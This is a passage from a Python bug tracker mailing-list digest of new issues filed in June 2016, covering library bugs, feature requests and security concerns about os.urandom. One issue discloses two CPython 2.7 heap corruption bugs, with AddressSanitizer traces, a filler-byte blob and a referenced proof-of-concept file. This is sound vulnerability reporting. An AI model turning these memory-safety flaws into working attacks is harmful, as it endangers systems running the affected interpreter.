"/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/test/test_urllib2net.py", line 23, in _retry_thrice raise last_exc File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/test/test_urllib2net.py", line 19, in _retry_thrice return func(*args, **kwargs) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 163, in urlopen return opener.open(url, data, timeout) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 466, in open response = self._open(req, data) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 484, in _open '_open', req) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 444, in _call_chain result = func(*args) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 1489, in ftp_open raise exc.with_traceback(sys.exc_info()[2]) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 1471, in ftp_open fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 1493, in connect_ftp persistent=False) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 2318, in __init__ self.init() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 2327, in init self.ftp.connect(self.host, self.port, self.timeout) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 156, in connect self.welcome = self.getresp() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 235, in getresp resp = self.getmultiline() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 221, in getmultiline line = self.getline() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 209, in getline raise EOFError urllib.error.URLError: ---------- components: Tests messages: 268154 nosy: berker.peksag priority: normal severity: normal stage: needs patch status: open title: test_ftp_timeout fails with EOFError type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 17:48:11 2016 From: report at bugs.python.org (James Lu) Date: Fri, 10 Jun 2016 21:48:11 +0000 Subject: [New-bugs-announce] [issue27290] Turn heaps library into a more OOP data structure? Message-ID: <1465595291.89.0.406235678654.issue27290@psf.upfronthosting.co.za> New submission from James Lu: The heapq library uses a list or other mutable sequence time to represent a heap. Since Python is a highly OOP language, why not make heaps their own data type? ---------- components: Library (Lib) messages: 268159 nosy: James.Lu priority: normal severity: normal status: open title: Turn heaps library into a more OOP data structure? versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 23:40:05 2016 From: report at bugs.python.org (Park Alex) Date: Sat, 11 Jun 2016 03:40:05 +0000 Subject: [New-bugs-announce] [issue27291] two heap corruption issue Message-ID: <1465616405.38.0.731036800645.issue27291@psf.upfronthosting.co.za> New submission from Park Alex: Hello, I would like to report two heap corruption issue. Test environment: python ersion: python 2.7.11+ hg id: d858eadf2602 (2.7) compile: clang with ASAN OS: ubuntu x86_64 One is heap-buffer-overflow, the other is heap-user-after-free. All of samples are attached in this bug report. Thanks, -- Alex In detail, 1) heap-buffer-overflow bug could be triggerd at cpython/Python/ceval.c:1229 ASAN report is following: ================================================================= ==26786==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ffff7ec56e8 at pc 0x5ec87f bp 0x7fffffffd2d0 sp 0x7fffffffd2c8 READ of size 8 at 0x7ffff7ec56e8 thread T0 #0 0x5ec87e in PyEval_EvalFrameEx /project/cpython/Python/ceval.c:1229 #1 0x5d3c6c in PyEval_EvalCodeEx /project/cpython/Python/ceval.c:3582 #2 0x5d2b11 in PyEval_EvalCode /project/cpython/Python/ceval.c:669 #3 0x6612d9 in run_pyc_file /project/cpython/Python/pythonrun.c:1406 #4 0x6612d9 in PyRun_SimpleFileExFlags /project/cpython/Python/pythonrun.c:946 #5 0x48e3dc in Py_Main /project/cpython/Modules/main.c:640 #6 0x7ffff6ce282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #7 0x48c518 in _start (/project/cpython/python.asan+0x48c518) 0x7ffff7ec56e8 is located 280 bytes to the left of 196608-byte region [0x7ffff7ec5800,0x7ffff7ef5800) allocated by thread T0 here: #0 0x476429 in __interceptor_malloc /project/clang-3.4/llvm-3.4/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74 #1 0x50e969 in dictresize /project/cpython/Objects/dictobject.c:643 #2 0x537844 in PyString_InternInPlace /project/cpython/Objects/stringobject.c:4757 SUMMARY: AddressSanitizer: heap-buffer-overflow /project/cpython/Python/ceval.c:1229 PyEval_EvalFrameEx Shadow bytes around the buggy address: 0x10007efd0a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x10007efd0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa 0x10007efd0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x10007efd0b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007efd0b10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007efd0b20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==26786==ABORTING 2) heap-user-after-free bug could be triggerd at cpython/Objects/dictobject.c:732 ASAN report is following: ================================================================= ==26918==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f00000ef98 at pc 0x50f5ac bp 0x7fffffffa1d0 sp 0x7fffffffa1c8 READ of size 8 at 0x60f00000ef98 thread T0 #0 0x50f5ab in PyDict_GetItem /project/cpython/Objects/dictobject.c:732 #1 0x537792 in PyString_InternInPlace /project/cpython/Objects/stringobject.c:4750 #2 0x64fad5 in r_object /project/cpython/Python/marshal.c:822 #3 0x650d00 in r_object /project/cpython/Python/marshal.c:1037 #4 0x64edf6 in r_object /project/cpython/Python/marshal.c:886 #5 0x650c1b in r_object /project/cpython/Python/marshal.c:1019 #6 0x64e1b1 in PyMarshal_ReadObjectFromString /project/cpython/Python/marshal.c:1183 #7 0x64e1b1 in PyMarshal_ReadLastObjectFromFile /project/cpython/Python/marshal.c:1144 #8 0x6429c1 in read_compiled_module /project/cpython/Python/import.c:823 #9 0x6429c1 in load_source_module /project/cpython/Python/import.c:1094 #10 0x644cda in import_submodule /project/cpython/Python/import.c:2722 #11 0x643e81 in load_next /project/cpython/Python/import.c:2537 #12 0x63e061 in import_module_level /project/cpython/Python/import.c:2254 #13 0x63e061 in PyImport_ImportModuleLevel /project/cpython/Python/import.c:2310 #14 0x5c4e1a in builtin___import__ /project/cpython/Python/bltinmodule.c:49 #15 0x5e2535 in do_call /project/cpython/Python/ceval.c:4564 #16 0x5e2535 in call_function /project/cpython/Python/ceval.c:4372 #17 0x5e2535 in PyEval_EvalFrameEx /project/cpython/Python/ceval.c:2987 #18 0x5d3c6c in PyEval_EvalCodeEx /project/cpython/Python/ceval.c:3582 #19 0x7237f3 in function_call /project/cpython/Objects/funcobject.c:523 #20 0x4aca9a in PyObject_Call /project/cpython/Objects/abstract.c:2546 #21 0x5f1313 in PyEval_CallObjectWithKeywords /project/cpython/Python/ceval.c:4219 #22 0x62118c in _PyCodec_Lookup /project/cpython/Python/codecs.c:147 #23 0x6227d5 in _PyCodec_LookupTextEncoding /project/cpython/Python/codecs.c:459 #24 0x622b6a in codec_getitem_checked /project/cpython/Python/codecs.c:511 #25 0x622b6a in _PyCodec_TextEncoder /project/cpython/Python/codecs.c:523 #26 0x622b6a in _PyCodec_EncodeText /project/cpython/Python/codecs.c:537 #27 0x54dbc8 in PyString_AsEncodedObject /project/cpython/Objects/stringobject.c:532 #28 0x54dbc8 in string_encode /project/cpython/Objects/stringobject.c:3016 #29 0x5e232f in call_function /project/cpython/Python/ceval.c:4350 #30 0x5e232f in PyEval_EvalFrameEx /project/cpython/Python/ceval.c:2987 #31 0x5d3c6c in PyEval_EvalCodeEx /project/cpython/Python/ceval.c:3582 #32 0x5f2c7d in fast_function /project/cpython/Python/ceval.c:4445 #33 0x5dd2ba in call_function /project/cpython/Python/ceval.c:4370 #34 0x5dd2ba in PyEval_EvalFrameEx /project/cpython/Python/ceval.c:2987 #35 0x5d3c6c in PyEval_EvalCodeEx /project/cpython/Python/ceval.c:3582 #36 0x5d2b11 in PyEval_EvalCode /project/cpython/Python/ceval.c:669 #37 0x6612d9 in run_pyc_file /project/cpython/Python/pythonrun.c:1406 #38 0x6612d9 in PyRun_SimpleFileExFlags /project/cpython/Python/pythonrun.c:946 #39 0x48e3dc in Py_Main /project/cpython/Modules/main.c:640 #40 0x7ffff6ce282f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #41 0x48c518 in _start (/project/cpython/python.asan+0x48c518) 0x60f00000ef98 is located 72 bytes inside of 168-byte region [0x60f00000ef50,0x60f00000eff8) freed by thread T0 here: #0 0x4762a9 in free /project/clang-3.4/llvm-3.4/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64 #1 0x64fad5 in r_object /project/cpython/Python/marshal.c:822 #2 0x64edf6 in r_object /project/cpython/Python/marshal.c:886 #3 0x650c7a in r_object /project/cpython/Python/marshal.c:1022 #4 0x64edf6 in r_object /project/cpython/Python/marshal.c:886 #5 0x650c1b in r_object /project/cpython/Python/marshal.c:1019 #6 0x64e1b1 in PyMarshal_ReadObjectFromString /project/cpython/Python/marshal.c:1183 #7 0x64e1b1 in PyMarshal_ReadLastObjectFromFile /project/cpython/Python/marshal.c:1144 #8 0x6429c1 in read_compiled_module /project/cpython/Python/import.c:823 #9 0x6429c1 in load_source_module /project/cpython/Python/import.c:1094 #10 0x644cda in import_submodule /project/cpython/Python/import.c:2722 #11 0x643e81 in load_next /project/cpython/Python/import.c:2537 previously allocated by thread T0 here: #0 0x476429 in __interceptor_malloc /project/clang-3.4/llvm-3.4/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74 #1 0x65de92 in new_threadstate /project/cpython/Python/pystate.c:159 SUMMARY: AddressSanitizer: heap-use-after-free /project/cpython/Objects/dictobject.c:732 PyDict_GetItem Shadow bytes around the buggy address: 0x0c1e7fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9de0: fa fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd =>0x0c1e7fff9df0: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fa 0x0c1e7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c1e7fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==26918==ABORTING QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUE= ---------- components: Interpreter Core files: poc.zip messages: 268173 nosy: Park Alex, python-dev priority: normal severity: normal status: open title: two heap corruption issue type: security versions: Python 2.7 Added file: http://bugs.python.org/file43338/poc.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 06:07:54 2016 From: report at bugs.python.org (Christian Heimes) Date: Sat, 11 Jun 2016 10:07:54 +0000 Subject: [New-bugs-announce] [issue27292] Warn users that os.urandom() can return insecure values Message-ID: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za> New submission from Christian Heimes: In #26839 os.urandom() was made non-blocking and non-exception-raising on Linux. As a result os.urandom() is no longer a CSPRNG under some conditions as it can and will return predictable random values without any sort of warning or error flag. These conditions are (including but not limited to): * early boot state * virtualization without host-passthrough, e.g. virtio-rng * embedded devices without hardware RNG or RTC, e.g. raspberry pi Please ensure that the documentation properly warns users about these edge cases. We might also want to add that os.urandom() can block on other platforms, e.g. FreeBSD and OpenBSD. ---------- components: Library (Lib) keywords: 3.5regression messages: 268205 nosy: christian.heimes, dstufft, haypo, larry, ned.deily priority: release blocker severity: normal stage: needs patch status: open title: Warn users that os.urandom() can return insecure values type: security versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 06:30:58 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 11 Jun 2016 10:30:58 +0000 Subject: [New-bugs-announce] [issue27293] Summarize issues related to urandom, getrandom etc in secrets documentation Message-ID: <1465641058.72.0.740134205443.issue27293@psf.upfronthosting.co.za> New submission from Steven D'Aprano: Write some documentation for the ``secrets`` module summarizing the issues relating to /dev/[u]random, getrandom, etc. There's a lot of confusion about these issues, and the web contains a lot of misinformation, so being able to point to the secrets docs for a summary will be useful for further discussions, and to help programmers pick the right solution. I know the Python docs cannot be the definitive source of information about OS features, but they can provide enough of a summary to allow users to make informed decisions. ---------- assignee: steven.daprano components: Documentation messages: 268206 nosy: christian.heimes, dstufft, haypo, larry, ned.deily, steven.daprano priority: normal severity: normal stage: needs patch status: open title: Summarize issues related to urandom, getrandom etc in secrets documentation versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 08:35:57 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jun 2016 12:35:57 +0000 Subject: [New-bugs-announce] [issue27294] Better repr for Tkinter event objects Message-ID: <1465648557.25.0.737232700025.issue27294@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Proposed patch adds better repr for tkinter.Event objects. Currently default repr shows only class name (always the same) and object address (not interesting, since event objects are short-living). The patch makes repr showing most event attributes in human-readable form. For testing run following script. Press any keys (with modifiers), move and click mouse, select text, move and resize the window, switch to other windows. import tkinter t = tkinter.Text() t.pack() t.bind("<>", print) t.bind("<>", print) for k in tkinter.EventType: try: t.event_add("<>", '<%s>' % k) except tkinter.TclError: pass tkinter.mainloop() ---------- components: Tkinter messages: 268209 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: patch review status: open title: Better repr for Tkinter event objects type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 09:49:52 2016 From: report at bugs.python.org (James Lu) Date: Sat, 11 Jun 2016 13:49:52 +0000 Subject: [New-bugs-announce] [issue27295] heaps library does not have support for max heap Message-ID: <1465652992.55.0.603716004725.issue27295@psf.upfronthosting.co.za> New submission from James Lu: Both max heaps and min heaps have uses in algorithms. Some algorithms require both. Why doesn't the heapq library support max heaps (not including the private _heapify_max() method)? ---------- components: Library (Lib) messages: 268211 nosy: James.Lu priority: normal severity: normal status: open title: heaps library does not have support for max heap _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 10:04:01 2016 From: report at bugs.python.org (rugk) Date: Sat, 11 Jun 2016 14:04:01 +0000 Subject: [New-bugs-announce] [issue27296] Urllib/Urlopen IncompleteRead with HTTP header with new line characters Message-ID: <1465653841.12.0.169767702558.issue27296@psf.upfronthosting.co.za> New submission from rugk: Test file: https://gist.github.com/rugk/3ea35d04d66c2295e02d0b6cb6d822a2 Python version: 2.7.5+ Issue description: When Urllib gets a HTTP header with line breaks/new line characters it shows the following error: ``` Traceback (most recent call last): File "./downloadtest.py", line 17, in respdata = resp.read() File "/usr/lib/python2.7/socket.py", line 351, in read data = self._sock.recv(rbufsize) File "/usr/lib/python2.7/httplib.py", line 543, in read return self._read_chunked(amt) File "/usr/lib/python2.7/httplib.py", line 597, in _read_chunked raise IncompleteRead(''.join(value)) httplib.IncompleteRead: IncompleteRead(0 bytes read) ``` Compare the results with curl... # Broken version ## curl ``` $curl -i https://rugk.dedyn.io/pythontest/bug HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jun 2016 13:34:36 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=15768000; includeSubDomains; preload Public-Key-Pins: pin-sha256="306cc4Cc2py0x48ZiX2G5vt5OxF9afmouqccrFqb8Jc="; pin-sha256="dWkVtg0EuckExnceVFvu3tuEApEygbxr2FPTlpHAUrQ="; pin-sha256="DjjVxb2/6kxfX8qyP2TE/j8B0tOB60MhTTvJdNsFPaU="; max-age=5184000; includeSubDomains; report-uri="https://rugkdyndns.report-uri.io/r/default/hpkp/enforce" Bug: ``` ## python ``` $ ./downloadtest.py https://rugk.dedyn.io/pythontest/bug Accessing https://rugk.dedyn.io/pythontest/bug... Traceback (most recent call last): File "./downloadtest.py", line 17, in respdata = resp.read() File "/usr/lib/python2.7/socket.py", line 351, in read data = self._sock.recv(rbufsize) File "/usr/lib/python2.7/httplib.py", line 543, in read return self._read_chunked(amt) File "/usr/lib/python2.7/httplib.py", line 597, in _read_chunked raise IncompleteRead(''.join(value)) httplib.IncompleteRead: IncompleteRead(0 bytes read) ``` # working version ## curl ``` $ curl -i https://rugk.dedyn.io/pythontest/works HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jun 2016 13:46:09 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: keep-alive Strict-Transport-Security: max-age=15768000; includeSubDomains; preload Public-Key-Pins: pin-sha256="306cc4Cc2py0x48ZiX2G5vt5OxF9afmouqccrFqb8Jc="; pin-sha256="dWkVtg0EuckExnceVFvu3tuEApEygbxr2FPTlpHAUrQ="; pin-sha256="DjjVxb2/6kxfX8qyP2TE/j8B0tOB60MhTTvJdNsFPaU="; max-age=5184000; includeSubDomains; report-uri="https://rugkdyndns.report-uri.io/r/default/hpkp/enforce" Bug: ``` ## python ``` $ ./downloadtest.py https://rugk.dedyn.io/pythontest/works Accessing https://rugk.dedyn.io/pythontest/works... RAW: Bug: Decoded: Bug: ``` You can also test it with HTTP URLs and get the same result. In usual browsers every request works... I cannot guarantee that the test server will stay available... ---------- components: Library (Lib) messages: 268212 nosy: rugk priority: normal severity: normal status: open title: Urllib/Urlopen IncompleteRead with HTTP header with new line characters type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 14:34:35 2016 From: report at bugs.python.org (Larry Hastings) Date: Sat, 11 Jun 2016 18:34:35 +0000 Subject: [New-bugs-announce] [issue27297] Add support for /dev/random to "secrets" Message-ID: <1465670075.28.0.237473871841.issue27297@psf.upfronthosting.co.za> New submission from Larry Hastings: Linux contains two separate sources for random numbers: /dev/urandom and /dev/random. On a reasonably-current Linux box, the urandom(4) man page states: As a general rule, /dev/urandom should be used for everything except long-lived GPG/SSL/SSH keys. This seems to suggest that, in the eyes of its implementors, /dev/random returns ever-so-slightly superior random numbers, and that in certain limited circumstances you should prefer those. AFAICT the secrets module doesn't make use of the /dev/random device on Linux. Should it? (Or, in the likely case that we make the getrandom() function directly callable, should it call getrandom(GRND_RANDOM)?) p.s. FWIW, Linux's /dev/urandom isn't considered a true CPRNG in all circles. This paper declines to call it simply either a CPRNG or a PRNG, instead christening it with the unfamiliar term "PRNG with entropy inputs". https://eprint.iacr.org/2012/251.pdf p.p.s. I went ahead and nosied the "cryptography" "interest category" from the nosy list. Neat! ---------- assignee: steven.daprano components: Library (Lib) messages: 268243 nosy: christian.heimes, dstufft, gregory.p.smith, larry, steven.daprano priority: low severity: normal stage: test needed status: open title: Add support for /dev/random to "secrets" type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 11 17:20:13 2016 From: report at bugs.python.org (Oren Milman) Date: Sat, 11 Jun 2016 21:20:13 +0000 Subject: [New-bugs-announce] [issue27298] redundant iteration over digits in _PyLong_AsUnsignedLongMask Message-ID: <1465680013.34.0.390511904077.issue27298@psf.upfronthosting.co.za> New submission from Oren Milman: ------------ current state ------------ 1. In Objects/longobject.c in _PyLong_AsUnsignedLongMask, in case v is a multiple-digit int, _PyLong_AsUnsignedLongMask iterates over all of its digits (going from the most to the least significant digit) and does (for each digit) 'x = (x << PyLong_SHIFT) | v->ob_digit[i];'. However, iterating over digits other than the 'ceil(sizeof(x) * 8.0 / PyLong_SHIFT)' least significant digits is redundant, because their bits would be shifted out of x anyway. With regard to relevant changes made in the past, the iteration over all of the digits of a multiple-digit v remained quite the same since _PyLong_AsUnsignedLongMask was added, in revision 28652. 2. In Modules/_testcapimodule.c, the function comment of test_k_code, and an error string inside that function, contain mistakes. With regard to relevant changes made in the past, these mistakes were there since test_k_code was added, in revision 28652. ------------ proposed changes ------------ 1. In _PyLong_AsUnsignedLongMask, in case v is a multiple-digit int, iterate only over the 'Py_MIN(i, sizeof(x) * 8 / PyLong_SHIFT + 1)' least significant digits. Obviously, 'sizeof(x) * 8 / PyLong_SHIFT + 1' might be off by one in case CPython is compiled with a PyLong_SHIFT other than 15 or 30. I suspect it's an overkill, but I added an assert, just in case. 2. Fix the function comment of test_k_code, and an error string inside that function. ------------ alternative changes ------------ 1. I have also considered iterating only over the 'Py_MIN(i, (Py_ssize_t)ceil(sizeof(x) * 8.0 / PyLong_SHIFT))' least significant digits. Even though this number of digits is guaranteed to be accurate, it cannot be calculated at compile time, so it would probably cause the optimization to overall introduce a performance penalty. ------------ diff ------------ The proposed patches diff file is attached. ------------ tests ------------ I built the patched CPython for x86, and played with it a little. Everything seemed to work as usual. In addition, I ran 'python_d.exe -m test -j3' (on my 64-bit Windows 10) with and without the patches, and got quite the same output. The outputs of both runs are attached. ---------- components: Interpreter Core files: proposedPatches.diff keywords: patch messages: 268274 nosy: Oren Milman priority: normal severity: normal status: open title: redundant iteration over digits in _PyLong_AsUnsignedLongMask type: performance Added file: http://bugs.python.org/file43346/proposedPatches.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 12 00:10:49 2016 From: report at bugs.python.org (gr zhang) Date: Sun, 12 Jun 2016 04:10:49 +0000 Subject: [New-bugs-announce] [issue27299] urllib does not splitport while putrequest realhost to HTTP headers Message-ID: <1465704649.89.0.0364976733052.issue27299@psf.upfronthosting.co.za> New submission from gr zhang: h.putheader('Host', "www.github.com:443") # this will make errcode 405, if urllib lib splitport first, and this will set Host ---> www.github.com and get 200 code. h.endheaders(None) errcode, errmsg, headers = h.getreply() print errcode ---------- components: Library (Lib) files: urllib_part.py messages: 268317 nosy: gr zhang priority: normal severity: normal status: open title: urllib does not splitport while putrequest realhost to HTTP headers type: behavior versions: Python 2.7 Added file: http://bugs.python.org/file43356/urllib_part.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 12 05:56:35 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Sun, 12 Jun 2016 09:56:35 +0000 Subject: [New-bugs-announce] [issue27300] tempfile.TemporaryFile(): missing errors=... argument Message-ID: <1465725395.98.0.993372982316.issue27300@psf.upfronthosting.co.za> Changes by ???? ????????? : ---------- components: IO, Library (Lib) nosy: mmarkk priority: normal severity: normal status: open title: tempfile.TemporaryFile(): missing errors=... argument type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 12 11:34:08 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jun 2016 15:34:08 +0000 Subject: [New-bugs-announce] [issue27301] Incorrect return codes in compile.c Message-ID: <1465745648.38.0.217159225058.issue27301@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Macros ADDOP, ADDOP_I, ADDOP_O, etc are used in Python/compile.c for emitting instructions. They make functions where they are used returning 0 on error. But some functions return -1 on error and non-negative integer on success. 0 is legitimate value. In case of error in the ADDOP* macro, the error is not correctly detected in the outer function. Here is a patch that fixes this issue in 3.6. 3.5 and 2.7 need different patches. ---------- assignee: serhiy.storchaka components: Interpreter Core messages: 268390 nosy: Demur Rumed, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Incorrect return codes in compile.c type: behavior versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 12 12:20:32 2016 From: report at bugs.python.org (Redoute) Date: Sun, 12 Jun 2016 16:20:32 +0000 Subject: [New-bugs-announce] [issue27302] csv.Sniffer guesses wrong when unquoted fields contain quotes Message-ID: <1465748432.82.0.331643864863.issue27302@psf.upfronthosting.co.za> New submission from Redoute: When delimited text fields are not quoted, but embedded text contains some quoted words, sniff() will guess the wrong delimiter. The attached script contains a simple tab-delimited text where sniff() detects space as delimiter. ---------- components: Library (Lib) files: humptydumpty.py messages: 268391 nosy: Redoute priority: normal severity: normal status: open title: csv.Sniffer guesses wrong when unquoted fields contain quotes type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file43368/humptydumpty.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 12 16:21:38 2016 From: report at bugs.python.org (Memeplex) Date: Sun, 12 Jun 2016 20:21:38 +0000 Subject: [New-bugs-announce] [issue27303] [argparse] Unify options in help output Message-ID: <1465762898.72.0.658784279908.issue27303@psf.upfronthosting.co.za> New submission from Memeplex: Currently when you specify more than one name for an option (typically short and long versions) each name is listed with its entire arg list. This is annoying for options taking many args or choices, for example: --type {html,pdf,github,blogger}, -t {html,pdf,github,blogger} Wouldn't it be better to just show something like: --type|-t {html,pdf,github,blogger} ---------- components: Library (Lib) messages: 268400 nosy: bethard, memeplex priority: normal severity: normal status: open title: [argparse] Unify options in help output versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 00:14:43 2016 From: report at bugs.python.org (Yoni Lavi) Date: Mon, 13 Jun 2016 04:14:43 +0000 Subject: [New-bugs-announce] [issue27304] Create "Source Code" links in module sections, where relevant Message-ID: <1465791283.3.0.647535904935.issue27304@psf.upfronthosting.co.za> New submission from Yoni Lavi: This is a follow to #22558. As per Terry's suggestion in #22558, for packages with multiple modules that are all documented on the same page and that currently have a "Source Code" link to an __init__ file (e.g. importlib), we should also add more specific "Source Code" links to the module sections. Attached is a patch for the documentation of the 3 such packages that I found: importlib, dbm and json ---------- assignee: docs at python components: Documentation files: mywork.patch keywords: patch messages: 268417 nosy: Yoni Lavi, docs at python, terry.reedy priority: normal severity: normal status: open title: Create "Source Code" links in module sections, where relevant versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43369/mywork.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 08:14:34 2016 From: report at bugs.python.org (James Paget) Date: Mon, 13 Jun 2016 12:14:34 +0000 Subject: [New-bugs-announce] [issue27305] Crash with "pip list --outdated" on Windows 10 with Python 2.7.12rc1 Message-ID: <1465820074.65.0.989290191732.issue27305@psf.upfronthosting.co.za> New submission from James Paget: On Windows 10 Professional 64-bit, typing "pip list --outdated" or "python -m pip install -U pip" at the Windows command prompt causes Python 2.7.12rc1 to crash. I get the standard "python.exe has stopped working" crash notification from Windows. I am running pip 8.1.2. ---------- components: Windows messages: 268434 nosy: James.Paget, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Crash with "pip list --outdated" on Windows 10 with Python 2.7.12rc1 type: crash versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 08:16:58 2016 From: report at bugs.python.org (Phil Jeffes) Date: Mon, 13 Jun 2016 12:16:58 +0000 Subject: [New-bugs-announce] [issue27306] Grammatical Error in Documentation - Tarfile page Message-ID: <1465820218.96.0.154135651878.issue27306@psf.upfronthosting.co.za> New submission from Phil Jeffes: On the tarfile page (https://docs.python.org/3.5/library/tarfile.html) there is a line which reads: mode is either 'r' to read from an existing archive, 'a' to append data to an existing file, 'w' to create a new file overwriting an existing one or 'x' to create a new file only if it?s not exists. and it should read: mode is either 'r' to read from an existing archive, 'a' to append data to an existing file, 'w' to create a new file overwriting an existing one or 'x' to create a new file only if *it does not already exist*. (Suggested changes surrounded by * *) ---------- assignee: docs at python components: Documentation messages: 268435 nosy: 